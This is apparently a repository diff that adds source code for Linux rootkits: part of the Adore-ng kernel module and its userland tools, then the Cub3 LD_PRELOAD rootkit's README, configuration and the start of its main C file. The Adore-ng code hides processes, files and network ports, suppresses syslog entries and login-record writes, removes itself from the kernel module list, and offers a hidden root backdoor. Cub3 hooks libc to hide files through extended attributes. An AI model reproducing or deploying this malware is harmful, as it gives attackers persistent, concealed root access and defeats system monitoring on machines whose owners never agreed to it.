"/var/log/lastlog", + NULL +}; + +ssize_t (*orig_var_write)(struct file *, const char *, size_t, loff_t *) = NULL; + +ssize_t adore_var_write(struct file *f, const char *buf, size_t blen, loff_t *off) +{ + int i = 0; + + /* If its hidden and if it has no special privileges and + * if it tries to write to the /var files, fake it + */ + if (should_be_hidden(current->pid) && + !(current->flags & PF_AUTH)) { + for (i = 0; var_filenames[i]; ++i) { + if (var_files[i] && + var_files[i]->f_dentry->d_inode->i_ino == f->f_dentry->d_inode->i_ino) { + *off += blen; + return blen; + } + } + } + return orig_var_write(f, buf, blen, off); +} + +#ifndef kobject_unregister +void kobject_unregister(struct kobject * kobj) +{ + if (!kobj) + return; + + pr_debug("kobject %s: unregistering\n",kobject_name(kobj)); + kobject_uevent(kobj, KOBJ_REMOVE); + kobject_del(kobj); + kobject_put(kobj); +} +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0)) +struct tcp_seq_afinfo *proc_find_tcp_seq(void) +{ + struct proc_dir_entry *pde = init_net.proc_net->subdir; + + while (strcmp(pde->name, "tcp")) + pde = pde->next; + + return (struct tcp_seq_afinfo*)pde->data; +} +#else +struct tcp_seq_afinfo *proc_find_tcp_seq(void) +{ + struct file *filep; + struct tcp_seq_afinfo *afinfo; + + filep = filp_open("/proc/net/tcp", O_RDONLY, 0); + if(!filep) return NULL; + + afinfo = PDE_DATA(filep->f_dentry->d_inode); + filp_close(filep, 0); + + return afinfo; +} +#endif +#define NET_CHUNK 150 + +int (*orig_tcp4_seq_show)(struct seq_file*, void *) = NULL; + +int adore_tcp4_seq_show(struct seq_file *seq, void *v) +{ + int i = 0, r = 0; + char port[12]; + + r = orig_tcp4_seq_show(seq, v); + for (i = 0; HIDDEN_SERVICES[i]; ++i) { + sprintf(port, ":%04X", HIDDEN_SERVICES[i]); + /* Ignore hidden blocks */ + if (strnstr(seq->buf + seq->count-NET_CHUNK,port,NET_CHUNK)) { + seq->count -= NET_CHUNK; + break; + } + } + + return r; +} + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 9, 0)) +#ifndef UNIXCREDS +#define UNIXCREDS(skb) (&UNIXCB((skb)).cred) +#endif +#endif + +static +int (*orig_unix_dgram_recvmsg)(struct kiocb *, struct socket *, struct msghdr *, + size_t, int) = NULL; +static struct proto_ops *unix_dgram_ops = NULL; + +int adore_unix_dgram_recvmsg(struct kiocb *kio, struct socket *sock, + struct msghdr *msg, size_t size, int flags) +{ + struct sock *sk = NULL; + int noblock = flags & MSG_DONTWAIT; + struct sk_buff *skb = NULL; + int err; + struct ucred *creds = NULL; + int not_done = 1; + __u32 pid; + + if (strncmp(current->comm, "syslog", 6) != 0 || !msg || !sock) + goto out; + + sk = sock->sk; + + err = -EOPNOTSUPP; + if (flags & MSG_OOB) + goto out; + + do { + msg->msg_namelen = 0; + skb = skb_recv_datagram(sk, flags|MSG_PEEK, noblock, &err); + if (!skb) goto out; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 9, 0)) + creds = UNIXCREDS(skb); + if (!creds) goto out; + pid = creds->pid; +#else + pid = pid_vnr(UNIXCB(skb).pid); +#endif + if ((not_done = should_be_hidden(pid))) + skb_dequeue(&sk->sk_receive_queue); + } while (not_done); + +out: + err = orig_unix_dgram_recvmsg(kio, sock, msg, size, flags); + return err; +} + +static int patch_syslog(void) +{ + struct socket *sock = NULL; +#ifdef MODIFY_PAGE_TABLES + pgd_t *pgd = NULL; + pmd_t *pmd = NULL; + pte_t *pte = NULL, new_pte; +#ifdef FOUR_LEVEL_PAGING + pud_t *pud = NULL; +#endif +#endif + + /* PF_UNIX, SOCK_DGRAM */ + if (sock_create(1, 2, 0, &sock) < 0) + return -1; + +#ifdef MODIFY_PAGE_TABLES + pgd = pgd_offset_k((unsigned long)sock->ops); +#ifdef FOUR_LEVEL_PAGING + pud = pud_offset(pgd, (unsigned long)sock->ops); + pmd = pmd_offset(pud, (unsigned long)sock->ops); +#else + pmd = pmd_offset(pgd, (unsigned long)sock->ops); +#endif + pte = pte_offset_kernel(pmd, (unsigned long)sock->ops); + new_pte = pte_mkwrite(*pte); + set_pte(pte, new_pte); + +#endif /* Page-table stuff */ + + if (sock && (unix_dgram_ops = (struct proto_ops *)sock->ops)) { + orig_unix_dgram_recvmsg = unix_dgram_ops->recvmsg; + unix_dgram_ops->recvmsg = adore_unix_dgram_recvmsg; + sock_release(sock); + } + + return 0; +} + +struct tcp_seq_afinfo *t_afinfo = NULL; + +int __init adore_init(void) +{ + struct file_operations *new_op; + struct inode_operations *new_inode_op; + int i = 0, j = 0; + struct file *filep; + struct list_head *m = NULL, *p = NULL, *n = NULL; + struct module *me = NULL; + + memset(hidden_procs, 0, sizeof(hidden_procs)); + + filep = filp_open(proc_fs, O_RDONLY|O_DIRECTORY, 0); + if (IS_ERR(filep)) + return -1; + + orig_cr0 = clear_return_cr0(); + + new_inode_op = (struct inode_operations *)filep->f_dentry->d_inode->i_op; + orig_proc_lookup = new_inode_op->lookup; + new_inode_op->lookup = adore_lookup; + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 11, 0)) + patch_vfs(proc_fs, &orig_proc_readdir, adore_proc_readdir); + patch_vfs(root_fs, &orig_root_readdir, adore_root_readdir); + if (opt_fs) + patch_vfs(opt_fs, &orig_opt_readdir, adore_opt_readdir); +#else + patch_vfs(proc_fs, &orig_proc_iterate, adore_proc_iterate); + patch_vfs(root_fs, &orig_root_iterate, adore_root_iterate); + if (opt_fs) + patch_vfs(opt_fs, &orig_opt_iterate, adore_opt_iterate); +#endif + + t_afinfo = proc_find_tcp_seq(); + if (t_afinfo) { + orig_tcp4_seq_show = t_afinfo->seq_ops.show; + t_afinfo->seq_ops.show = adore_tcp4_seq_show; + printk("patch proc_net: %p --> %p\n", orig_tcp4_seq_show, adore_tcp4_seq_show); + } + patch_syslog(); + + j = 0; + for (i = 0; var_filenames[i]; ++i) { + var_files[i] = filp_open(var_filenames[i], O_RDONLY, 0); + if (IS_ERR(var_files[i])) { + var_files[i] = NULL; + continue; + } + if (!j) { /* just replace one time, its all the same FS */ + new_op = (struct file_operations *)(var_files[i]->f_op); + orig_var_write = new_op->write; + new_op->write = adore_var_write; + j = 1; + } + } + filp_close(filep, 0); + + me = THIS_MODULE; + m = &me->list; + +/* Newer 2.6 have an entry in /sys/modules for each LKM */ +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,11) + kobject_unregister(&me->mkobj.kobj); +#elif LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,8) + kobject_unregister(&me->mkobj->kobj); +#endif + + p = m->prev; + n = m->next; + + n->prev = p; + p->next = n; + + setback_cr0(orig_cr0); + return 0; +} + +void __exit adore_cleanup(void) +{ + struct file_operations *new_op; + struct inode_operations *new_inode_op; + int i = 0, j = 0; + struct file *filep; + + if (t_afinfo && orig_tcp4_seq_show) + { + printk("unpatch proc_net: %p --> %p\n", t_afinfo->seq_ops.show, orig_tcp4_seq_show); + t_afinfo->seq_ops.show = orig_tcp4_seq_show; + } + + orig_cr0 = clear_return_cr0(); + + filep = filp_open(proc_fs, O_RDONLY|O_DIRECTORY, 0); + if (IS_ERR(filep)) + return ; + + new_inode_op = (struct inode_operations *)filep->f_dentry->d_inode->i_op; + new_inode_op->lookup = orig_proc_lookup; + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 11, 0)) + unpatch_vfs(proc_fs, orig_proc_readdir); + unpatch_vfs(root_fs, orig_root_readdir); + if (orig_opt_readdir) + unpatch_vfs(opt_fs, orig_opt_readdir); +#else + unpatch_vfs(proc_fs, orig_proc_iterate); + unpatch_vfs(root_fs, orig_root_iterate); + if (orig_opt_readdir) + unpatch_vfs(opt_fs, orig_opt_iterate); +#endif + + j = 0; + for (i = 0; var_filenames[i]; ++i) { + if (var_files[i]) { + if (!j) { + new_op = (struct file_operations *)var_files[i]->f_op; + new_op->write = orig_var_write; + j = 1; + } + filp_close(var_files[i], 0); + } + } + + filp_close(filep, 0); + setback_cr0(orig_cr0); +} + +module_init(adore_init); +module_exit(adore_cleanup); + +#ifdef CROSS_BUILD +MODULE_INFO(vermagic, "VERSION MAGIC GOES HERE"); +#endif + +MODULE_LICENSE("GPL"); diff --git a/Linux/Rootkits/Adore-ng/adore-ng.h b/Linux/Rootkits/Adore-ng/adore-ng.h new file mode 100644 index 0000000..5f3ce16 --- /dev/null +++ b/Linux/Rootkits/Adore-ng/adore-ng.h @@ -0,0 +1,63 @@ +/*** (C) 2003-2005 by Stealth -- http://stealth.7350.org + *** + *** + *** (C)'ed Under a BSDish license. Please look at LICENSE-file. + *** SO YOU USE THIS AT YOUR OWN RISK! + *** YOU ARE ONLY ALLOWED TO USE THIS IN LEGAL MANNERS. + *** !!! FOR EDUCATIONAL PURPOSES ONLY !!! + *** + *** -> Use ava to get all the things workin'. + *** + *** Greets fly out to all my friends. You know who you are. :) + *** Special thanks to Shivan for granting root access to his + *** SMP box for adore-development. More thx to skyper for also + *** granting root access. + *** + ***/ +#ifndef __ADORE_NG_H__ +#define __ADORE_NG_H__ + +/* to check whether request is legal */ +#define PF_AUTH 0x1000000 + +#ifndef ELITE_UID +#error "No ELITE_UID given!" +#endif + +#ifndef ELITE_GID +#error "No ELITE_GID given!" +#endif + +#ifndef ADORE_KEY +#error "No ADORE_KEY given!" +#endif + +#define ADORE_VERSION CURRENT_ADORE + +/* Very old kernels don't have an equivalent macro... */ +#define LinuxVersionCode(v, p, s) (((v)<<16)+((p)<<8)+(s)) + +u_short HIDDEN_SERVICES[] = + {2222, 7350, 9099, 0}; + +/* END CHANGE SECTION */ + +struct task_struct *adore_find_task(pid_t); + +int adore_atoi(const char *); +extern struct module *module_list; + +#if defined LINUX26 || REDHAT9 +#undef for_each_task +#define for_each_task for_each_process +#endif + +/* This probably does not exactly belong to the kernel version but + * also to the GCC version used. Change here if it does not work + */ +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,16) +//#define MODIFY_PAGE_TABLES +#undef MODIFY_PAGE_TABLES +#endif + +#endif /* __ADORE_NG_H__ */ diff --git a/Linux/Rootkits/Adore-ng/ava.c b/Linux/Rootkits/Adore-ng/ava.c new file mode 100644 index 0000000..fde5f0b --- /dev/null +++ b/Linux/Rootkits/Adore-ng/ava.c @@ -0,0 +1,146 @@ +/* + * Copyright (C) 1999-2005 Stealth. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Stealth. + * 4. The name Stealth may not be used to endorse or promote + * products derived from this software without specific prior written + * permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ +#include +#include +#include +#include +#include +#include +#include +#include + +#include "libinvisible.h" + +extern char **environ; + +const char *adore_key = ADORE_KEY; +const uid_t elite_uid = ELITE_UID; +const gid_t elite_gid = ELITE_GID; +const int current_adore = CURRENT_ADORE; + +int main(int argc, char *argv[]) +{ + int version; + char what; + adore_t *a; + + if (argc < 3 && !(argc == 2 && + (argv[1][0] == 'U' || argv[1][0] == 'I'))) { + printf("Usage: %s {h,u,r,R,i,v,U} [file or PID]\n\n" + " I print info (secret UID etc)\n" + " h hide file\n" + " u unhide file\n" + " r execute as root\n" + " R remove PID forever\n" + " U uninstall adore\n" + " i make PID invisible\n" + " v make PID visible\n\n", argv[0]); + exit(1); + } + what = argv[1][0]; + + //printf("Checking for adore 0.12 or higher ...\n"); + + a = adore_init(); + if (adore_makeroot(a) < 0) + fprintf(stderr, "Failed to run as root. Trying anyway ...\n"); + + if ((version = adore_getvers(a)) <= 0 && what != 'I') { + printf("Adore NOT installed. Exiting.\n"); + exit(1); + } + if (version < CURRENT_ADORE) + printf("Found adore 1.%d installed. Please update adore.", version); + else + printf("Adore 1.%d installed. Good luck.\n", version); + + switch (what) { + + /* hide file */ + case 'h': + if (adore_hidefile(a, argv[2]) >= 0) + printf("File '%s' is now hidden.\n", argv[2]); + else + printf("Can't hide file.\n"); + break; + + /* unhide file */ + case 'u': + if (adore_unhidefile(a, argv[2]) >= 0) + printf("File '%s' is now visible.\n", argv[2]); + else + printf("Can't unhide file.\n"); + break; + /* make pid invisible */ + case 'i': + if (adore_hideproc(a, (pid_t)atoi(argv[2])) >= 0) + printf("Made PID %d invisible.\n", atoi(argv[2])); + else + printf("Can't hide process.\n"); + break; + + /* make pid visible */ + case 'v': + if (adore_unhideproc(a, (pid_t)atoi(argv[2])) >= 0) + printf("Made PID %d visible.\n", atoi(argv[2])); + else + printf("Can't unhide process.\n"); + break; + /* execute command as root */ + case 'r': + execvp(argv[2], argv+2); + perror("execve"); + break; + case 'R': + if (adore_removeproc(a, (pid_t)atoi(argv[2])) >= 0) + printf("Removed PID %d from taskstruct\n", atoi(argv[2])); + else + printf("Failed to remove proc.\n"); + break; + /* uninstall adore */ + case 'U': + if (adore_uninstall(a) >= 0) + printf("Adore 0.%d de-installed.\n", version); + else + printf("Adore wasn't installed.\n"); + break; + case 'I': + printf("\nELITE_UID: %u, ELITE_GID=%u, ADORE_KEY=%s " + "CURRENT_ADORE=%d\n", + elite_uid, elite_gid, adore_key, current_adore); + break; + default: + printf("Did nothing or failed.\n"); + } + return 0; +} + diff --git a/Linux/Rootkits/Adore-ng/libinvisible.c b/Linux/Rootkits/Adore-ng/libinvisible.c new file mode 100644 index 0000000..788faa0 --- /dev/null +++ b/Linux/Rootkits/Adore-ng/libinvisible.c @@ -0,0 +1,183 @@ +/* + * Copyright (C) 1999-2005 Stealth. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Stealth. + * 4. The name Stealth may not be used to endorse or promote + * products derived from this software without specific prior written + * permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +/* Upper layer to be independant from implementation of + * kernel-hacks. + * Just write appropriate functions for new kernel-mods, + * and ava.c will be happy. + */ + +#include +#include +#include +#include +#include +#include +#include +#include + +#include "libinvisible.h" + +int getresuid(uid_t *, uid_t *, uid_t *); + +#ifdef ADORE_LSM +#define APREFIX "/tmp" +#else +#define APREFIX "/proc" +#endif + +#define APREFIX "/proc" + +#ifdef linux +adore_t *adore_init() +{ + int fd; + uid_t r, e, s; + adore_t *ret = calloc(1, sizeof(adore_t)); + + fd = open(APREFIX"/"ADORE_KEY, O_RDWR|O_CREAT, 0); + close(fd); + unlink(APREFIX"/"ADORE_KEY); + getresuid(&r, &e, &s); + + printf("%d,%d,%d,%d\n",CURRENT_ADORE,r,e,s); + + if (s == getuid() && getuid() != CURRENT_ADORE) { + fprintf(stderr, + "Failed to authorize myself. No luck, no adore?\n"); + ret->version = -1; + } else + ret->version = s; + return ret; +} + +/* Hide a file + */ +int adore_hidefile(adore_t *a, char *path) +{ + return lchown(path, ELITE_UID, ELITE_GID); +} + +/* Unhide a file + */ +int adore_unhidefile(adore_t *a, char *path) +{ + return lchown(path, 0, 0); +} + +/* Hide a process with PID pid + */ +int adore_hideproc(adore_t *a, pid_t pid) +{ + char buf[1024]; + + if (pid == 0) + return -1; + + sprintf(buf, APREFIX"/hide-%d", pid); + close(open(buf, O_RDWR|O_CREAT, 0)); + unlink(buf); + return 0; +} + +/* make visible again */ +int adore_unhideproc(adore_t *a, pid_t pid) +{ + char buf[1024]; + + if (pid == 0) + return -1; + sprintf(buf, APREFIX"/unhide-%d", pid); + close(open(buf, O_RDWR|O_CREAT, 0)); + unlink(buf); + return 0; +} + +/* permanently remove proc + */ +int adore_removeproc(adore_t *a, pid_t pid) +{ + printf("Not supported in this version.\n"); + return 1; +} + +/* use the hidden setuid(0)-like backdoor + */ +int adore_makeroot(adore_t *a) +{ + /* now already handled by adore_init() */ + close(open(APREFIX"/fullprivs", O_RDWR|O_CREAT, 0)); + unlink(APREFIX"/fullprivs"); + if (geteuid() != 0) + return -1; + return 0; +} + +/* return version number of installed adore + */ +int adore_getvers(adore_t *a) +{ + if (!a) + return -1; + return a->version; +} + +int adore_free(adore_t *a) +{ + free(a); + return 0; +} + +/* uninstall adore + */ +int adore_uninstall(adore_t *a) +{ + close(open(APREFIX"/uninstall", O_RDWR|O_CREAT, 0)); + return 0; +} + +/* disappeared in 0.3 */ +int adore_disable_logging(adore_t *a) +{ + return -ENOENT; +} + +/* ditto */ +int adore_enable_logging(adore_t *a) +{ + return -ENOENT; +} + +#else +#error "Not supported architecture (Not Linux)." +#endif /* linux */ + diff --git a/Linux/Rootkits/Adore-ng/libinvisible.h b/Linux/Rootkits/Adore-ng/libinvisible.h new file mode 100644 index 0000000..186e710 --- /dev/null +++ b/Linux/Rootkits/Adore-ng/libinvisible.h @@ -0,0 +1,74 @@ +/* + * Copyright (C) 1999-2005 Stealth. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Stealth. + * 4. The name Stealth may not be used to endorse or promote + * products derived from this software without specific prior written + * permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#ifndef _LIBINVISIBLE_H_ +#define _LIBINVISIBLE_H_ + +#include + +/* Whenever you change this, do so in adore.c!!! + */ +#define SIGINVISIBLE 100 +#define SIGVISIBLE 101 +#define SIGREMOVE 102 + +typedef struct adore_t { + int version; + /* nothing more yet */ +} adore_t; + +adore_t *adore_init(); + +/* adore_t as first argument is something like + * 'this' in C++. + * It isn't much used yet, but good for later + * extensions. + */ +int adore_hidefile(adore_t *, char *); +int adore_unhidefile(adore_t *, char *); + +int adore_hideproc(adore_t *, pid_t); +int adore_removeproc(adore_t *, pid_t); +int adore_unhideproc(adore_t *, pid_t); + +int adore_makeroot(adore_t *); +int adore_free(adore_t *); +int adore_getvers(adore_t *); +int adore_free(adore_t *); + +int adore_disable_logging(adore_t *); +int adore_enable_logging(adore_t *); + +int adore_uninstall(adore_t *); + +#endif + diff --git a/Linux/Rootkits/Cub3/README.md b/Linux/Rootkits/Cub3/README.md new file mode 100644 index 0000000..77cc8df --- /dev/null +++ b/Linux/Rootkits/Cub3/README.md @@ -0,0 +1,54 @@ +# cub3 (cube-three) +


+Typically, magic strings and magic GIDs are used to hide LD_PRELOAD rootkit files, but both of those methods are flawed.
+GID protection is flawed as, usually, the magic GID can actually be bruteforced. An example way of doing this is by calling chown() in a repeating loop with a forever incrementing GID until the chown() function returns -1 (and/or an error number).
+Magic strings are over convoluted and require a tad more programming if used, but it mostly comes down to the programmer of the malware screwing up when it comes to logic-type situations. They're generally just worse than GID protections.

+So here I am! Providing a PoC work around for both inconveniences.
+cub3 uses extended attributes (xattr) to protect its files.
+xattr is supported by the ext2, ext3, ext4, JFS, Squashfs, Yaffs2, ReiserFS, XFS, Btrfs, OrangeFS, Lustre, OCFS2 1.6 and F2FS file systems in Linux. If you're trying to install cub3 on an unsupported file system, that's your fault for being on a box with a terrible file system.
+You can easily adapt this to be much better. Improvements can be made, such as using a random magic xattr string.

+As far as process hiding goes, you can still use GID protections for process hiding, but ONLY for process hiding. You can't use xattr protection for process hiding as the procfs (the file system used by /proc/) doesn't support extended attributes.
+Extended attributes can also be disabled in the kernel, too.
+
http://pastebin.com/rZvjDzFK is an example GID bruteforcer.

+ +## installation instructions + +DO NOT TOUCH CONFIG.H. INSTALL.SH HANDLES THIS FILE.
+
+``` +git clone https://github.com/x-0rd/cub3.git +cd cub3 +./install.sh +``` +

+After installation, the installation script will tell you how to remove cub3 once you're done with it. In case you're a baby, here's how you do it. MAKE SURE YOU'RE ROOT FIRST.
+``` +export DEFAULT_ENV=1 +chattr -ia /etc/ld.so.preload +rm -rf /etc/ld.so.preload /lib/cub3.so +``` +

Done.

+I added a small feature to allow you to dynamically hide/unhide files/directories. To access this feature, make sure you're in a root shell and export your environment variable. Then type `./hide ` and you'll be shown usage instructions. To unhide files, just change hide to unhide. It's that simple.
+This function is handled by the execve() call.

+## disclaimer & misc information +
    +
  • cub3 is not supposed to be used as a rootkit. It has no backdoor functionality, and does nothing malicious on its own. You are given means to remove it easily.
  • +
  • In no way does cub3 try to hide itself. You can still see that the shared object is being loaded by /proc/self/[s]maps, ldd output, LD environment variables, ltrace, dlsym address comparisons/verifications, dlinfo output - general libdl tricks.
  • +
  • There's a setting in config.h you may want to enable. The "DEBUG" constant is set by default to off, if you enable it, you'll see output from every hooked libc function.
  • +
  • I'm lazy and didn't hook any of the stat functions. I didn't deem it necessary.
  • +
  • I'm not responsible for what you do with what I'm giving you.
  • +
+## list of hooked libc functions +
    +
  • listxattr, llistxattr, flistxattr
  • +
  • getxattr, lgetxattr, fgetxattr
  • +
  • setxattr, lsetxattr, fsetxattr
  • +
  • removexattr, lremovexattr, fremovexattr
  • +
  • open, open64, openat, creat
  • +
  • unlink, unlinkat, rmdir
  • +
  • symlink, symlinkat
  • +
  • mkdir, mkdirat, chdir, fchdir, opendir, opendir64, fdopendir, readdir, readdir64
  • +
  • execve
  • +
+## contact +Email: xor@cock.lu diff --git a/Linux/Rootkits/Cub3/config.h b/Linux/Rootkits/Cub3/config.h new file mode 100644 index 0000000..ef08b8e --- /dev/null +++ b/Linux/Rootkits/Cub3/config.h @@ -0,0 +1,10 @@ +#ifndef CONFIG_H +#define CONFIG_H + +#define HIDDEN_XATTR_STR "CHANGEME0" +#define OWNER_ENV_VAR "CHANGEME1" +#define EXECVE_PASS "CHANGEME2" + +#undef DEBUG + +#endif diff --git a/Linux/Rootkits/Cub3/cub3.c b/Linux/Rootkits/Cub3/cub3.c new file mode 100644 index 0000000..274b322 --- /dev/null +++ b/Linux/Rootkits/Cub3/cub3.c @@ -0,0 +1,734 @@ +/* + * + * ██████╗██╗ ██╗██████╗ ██████╗ + * ██╔════╝██║ ██║██╔══██╗╚════██╗ + * ██║ ██║ ██║██████╔╝ █████╔╝ + * ██║ ██║ ██║██╔══██╗ ╚═══██╗ + * ╚██████╗╚██████╔╝██████╔╝██████╔╝ + * ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝ + * + * Small proof of concept to show + * how extended attributes can be + * utilised to protect files in + * LD_PRELOAD malware. + * + * More information and + * installation instructions + * available in README.md + * + * Contact me (email): + * xor@cock.lu + * + */ + +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include + +#include // xattr is abbreviated version of extended attributes. basically the heart and soul of cub3 :) +#include +#include + +#include "config.h" + +// main functions of this poc. checks if the file is protected by the magic xattr string +int hidden_xattr(const char *file); +int hidden_fxattr(int fd); + +// allows for removal of cub3 after you're done playing around with it. just requires root and set env var +int rm_shell(void); + +// old_ functions. allows for callback to original libc functions +// xattr stuff +// list +ssize_t (*old_listxattr)(const char *path, char *list, size_t size); +ssize_t (*old_llistxattr)(const char *path, char *list, size_t size); +ssize_t (*old_flistxattr)(int fd, char *list, size_t size); +// get +ssize_t (*old_getxattr)(const char *path, const char *name, void *value, size_t size); +ssize_t (*old_lgetxattr)(const char *path, const char *name, void *value, size_t size); +ssize_t (*old_fgetxattr)(int fd, const char *name, void *value, size_t size); +// set +int (*old_setxattr)(const char *path, const char *name, const void *value, size_t size, int flags); +int (*old_lsetxattr)(const char *path, const char *name, const void *value, size_t size, int flags); +int (*old_fsetxattr)(int fd, const char *name, const void *value, size_t size, int flags); +// remove +int (*old_removexattr)(const char *path, const char *name); +int (*old_lremovexattr)(const char *path, const char *name); +int (*old_fremovexattr)(int fd, const char *name); + +// open() stuff +int (*old_open)(const char *pathname, int flags, mode_t mode); +int (*old_open64)(const char *pathname, int flags, mode_t mode); +int (*old_openat)(int dirfd, const char *pathname, int flags, mode_t mode); +int (*old_creat)(const char *pathname, mode_t mode); + +// unlink() stuff +int (*old_unlink)(const char *pathname); +int (*old_unlinkat)(int dirfd, const char *pathname, int flags); +int (*old_rmdir)(const char *pathname); + +// symlink() stuff +int (*old_symlink)(const char *target, const char *linkpath); +int (*old_symlinkat)(const char *target, int newdirfd, const char *linkpath); + +// directory stuff +int (*old_mkdir)(const char *pathname, mode_t mode); +int (*old_mkdirat)(int dirfd, const char *pathname, mode_t mode); +int (*old_chdir)(const char *path); +int (*old_fchdir)(int fd); +DIR *(*old_opendir)(const char *name); +DIR *(*old_opendir64)(const char *name); +DIR *(*old_fdopendir)(int fd); +struct dirent *(*old_readdir)(DIR *dirp); +struct dirent64 *(*old_readdir64)(DIR *dirp); + +// hooking execve() so we can dynamically hide/unhide files/directories +int (*old_execve)(const char *filename, char *const argv[], char *const envp[]); + +int hidden_xattr(const char *file) +{ + #ifdef DEBUG + printf("[cub3]: hidden_xattr() called\n"); + printf("[cub3]: going to attempt to distinguish visibility of file %s\n", file); + #endif + + ssize_t buflen, keylen; + char *buf, *key; + + if(!old_listxattr) old_listxattr = dlsym(RTLD_NEXT, "listxattr"); + + if((buflen = old_listxattr(file, NULL, 0)) == -1) + { + return 0; + }else if(buflen == 0){ + return buflen; + } + + buf = malloc(buflen); + if((buflen = old_listxattr(file, buf, buflen)) == -1) return 0; // fuuuck + + key = buf; + + while(buflen > 0) + { + if(strstr(key, HIDDEN_XATTR_STR)) + { + #ifdef DEBUG + printf("[cub3]: file %s is protected with extended attributes\n", file); + #endif + + free(buf); return 1; // don't bother loading the next attribute.. no point lol + } + + keylen = strlen(key) + 1; buflen -= keylen; key += keylen; + } + + free(buf); return 0; // nothing came up.. this makes us sad :( +} + +int hidden_fxattr(int fd) +{ + #ifdef DEBUG + printf("[cub3]: hidden_fxattr() called\n"); + printf("[cub3]: going to attempt to distinguish visiblity of fd %d\n", fd); + #endif + + ssize_t buflen, keylen; + char *buf, *key; + + if(!old_flistxattr) old_flistxattr = dlsym(RTLD_NEXT, "flistxattr"); + + if((buflen = old_flistxattr(fd, NULL, 0)) == -1) + { + return 0; + }else if(buflen == 0){ + return buflen; + } + + buf = malloc(buflen); + if((buflen = old_flistxattr(fd, buf, buflen)) == -1) return 0; + + key = buf; + + while(buflen > 0) + { + if(strstr(key, HIDDEN_XATTR_STR)) + { + #ifdef DEBUG + printf("[cub3]: fd %d is protected with extended attributes\n", fd); + #endif + + free(buf); return 1; + } + + keylen = strlen(key) + 1; buflen -= keylen; key += keylen; + } + + free(buf); return 0; +} 